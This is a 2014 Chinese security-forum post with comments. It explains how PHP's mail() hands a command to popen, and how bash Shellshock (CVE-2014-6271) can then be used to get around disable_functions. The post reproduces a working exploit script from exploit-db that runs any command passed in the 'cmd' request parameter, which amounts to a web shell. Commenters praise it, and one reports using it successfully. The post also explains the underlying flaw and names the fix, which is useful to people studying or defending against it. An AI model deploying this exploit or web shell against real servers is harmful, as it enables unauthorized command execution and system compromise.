当前位置:WooYun(白帽子技术社区) >> php >> PHP Execute Command Bypass Disable_functions

PHP Execute Command Bypass Disable_functions

phith0n (我也不会难过 你不要小看我) | 2014-11-18 14:09

先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c

236行:
char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;


从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的:

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =


注释中可以看到,send_mail默认值为"sendmail -t -i".

extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。
如下:
if (!sendmail_path) {
#if (defined PHP_WIN32 || defined NETWARE)
    /* handle old style win smtp sending */
    if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) {
      if (tsm_errmsg) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg);
        efree(tsm_errmsg);
      } else {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err));
      }
      MAIL_RET(0);
    }
    MAIL_RET(1);
#else
    MAIL_RET(0);
#endif
  }
  if (extra_cmd != NULL) {
    spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
  } else {
    sendmail_cmd = sendmail_path;
  }


之后执行:

#ifdef PHP_WIN32
  sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);
#else
  /* Since popen() doesn't indicate if the internal fork() doesn't work
   * (e.g. the shell can't be executed) we explicitly set it to 0 to be
   * sure we don't catch any older errno value. */
  errno = 0;
  sendmail = popen(sendmail_cmd, "w");
#endif


将sendmail_cmd丢给popen执行。
如果系统默认sh是bash,popen就会丢给bash执行。而之前的bash破壳(CVE-2014-6271)漏洞,直接导致我们可以利用mail()函数执行任意命令,绕过disable_functions。

影响版本:php 各版本

修复方法:修复CVE-2014-6271

给出POC(http://www.exploit-db.com/exploits/35146/)如下:

<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
   $tmp = tempnam(".","data");
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
   // In Safe Mode, the user may only alter environment variableswhose names
   // begin with the prefixes supplied by this directive.
   // By default, users will only be able to set environment variablesthat
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
   // PHP will let the user modify ANY environment variable!
   mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>


006.jpg

分享到:
  1. 1#
    回复此人 感谢
    D&G | 2014-11-18 14:12

    吊!

  2. 2#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2014-11-18 14:18

    牛逼

  3. 3#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2014-11-18 14:18

    报个到主站吧

  4. 4#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2014-11-18 14:19

    @xsser
    POC是转的~

  5. 5#
    回复此人 感谢
    Enjoy_Hacking (祖传黑客,包黑百站,专黑各种疑难杂站,无效全额退款) | 2014-11-18 14:20

    赞!

  6. 6#
    回复此人 感谢
    Yaseng (看黄片 到 www.yaseng.org) | 2014-11-18 14:24

    @phith0n http://www.exploit-db.com/exploits/35146/

  7. 7#
    回复此人 感谢
    phith0n (我也不会难过 你不要小看我) | 2014-11-18 14:32

    @Yaseng 嗯,@瞌睡龙 没跟我说这个POC的出处,已经加上了。
    判断这块:strstr(readlink("/bin/sh"), "bash") != FALSE 有点问题,可能会受到open_basedir影响,我就给删了。

  8. 8#
    回复此人 感谢
    /fd (Http://prompt.ml) | 2014-11-18 14:37

    GOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOD

  9. 9#
    回复此人 感谢
    Mody | 2014-11-18 14:41

    看题目就喜欢,^_^,ph牛

  10. 10#
    回复此人 感谢
    暴暴 | 2014-11-18 14:44

    这个爽了哇 。哈哈哈哈哈哈哈!!!!!!

  11. 11#
    回复此人 感谢
    Cyrils | 2014-11-18 14:46

    ph牛碉堡

  12. 12#
    回复此人 感谢
    Demon (证道) | 2014-11-18 16:47

    @Cyrils 你也是碉堡

  13. 14#
    回复此人 感谢
    孤月寒城 (握了棵草) | 2014-11-18 17:48

    流弊。。。

  14. 15#
    回复此人 感谢
    Cyrils | 2014-11-18 19:14

    @Demon Demon

  15. 16#
    回复此人 感谢
    Ano_Tom | 2014-11-18 19:31

  16. 17#
    回复此人 感谢
    B1uH4ck | 2014-11-18 19:33

    一大波程序0day即将涌现

  17. 18#
    回复此人 感谢
    whale | 2014-11-18 21:50

    碉堡了,提权的又一个解决方案出来了~~~~~~

  18. 19#
    回复此人 感谢
    Getshell | 2014-11-19 05:30

    牛逼

  19. 20#
    回复此人 感谢
    我了个去 | 2014-11-19 05:48

    喜欢

  20. 21#
    回复此人 感谢
    Reus | 2014-11-19 11:08

    只能linux环境下么?

  21. 22#
    回复此人 感谢
    老胖子 (难道非要浮夸吗?) | 2014-11-19 11:09

    牛逼,

  22. 23#
    回复此人 感谢
    bey0nd | 2014-11-19 11:16

    B

  23. 24#
    回复此人 感谢
    _Evil (科普是一种公益行为) | 2014-11-20 00:23

  24. 25#
    回复此人 感谢
    noob (漏洞深不可测#&8238) | 2014-11-20 18:26

    吊炸天!

  25. 26#
    回复此人 感谢
    wefgod (求大牛指点) | 2014-11-24 09:09

    已感谢大牛

  26. 27#
    回复此人 感谢
    xyang (stay foolish stay hungry) | 2014-11-24 09:14

    这个是要结合bash的漏洞是吧?

  27. 28#
    回复此人 感谢
    我了个去 | 2014-11-24 11:43

    已测试,灰常好使,php禁止所有执行命令函数后,lz exp顺利执行!

  28. 29#
    回复此人 感谢
    我了个去 | 2014-11-24 11:47

    @xyang 是的

  29. 30#
    回复此人 感谢
    wangy3e | 2014-11-26 11:02

    牛逼 爆了

  30. 31#
    回复此人 感谢
    GaRY | 2014-11-26 11:08

    点赞,好文章

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录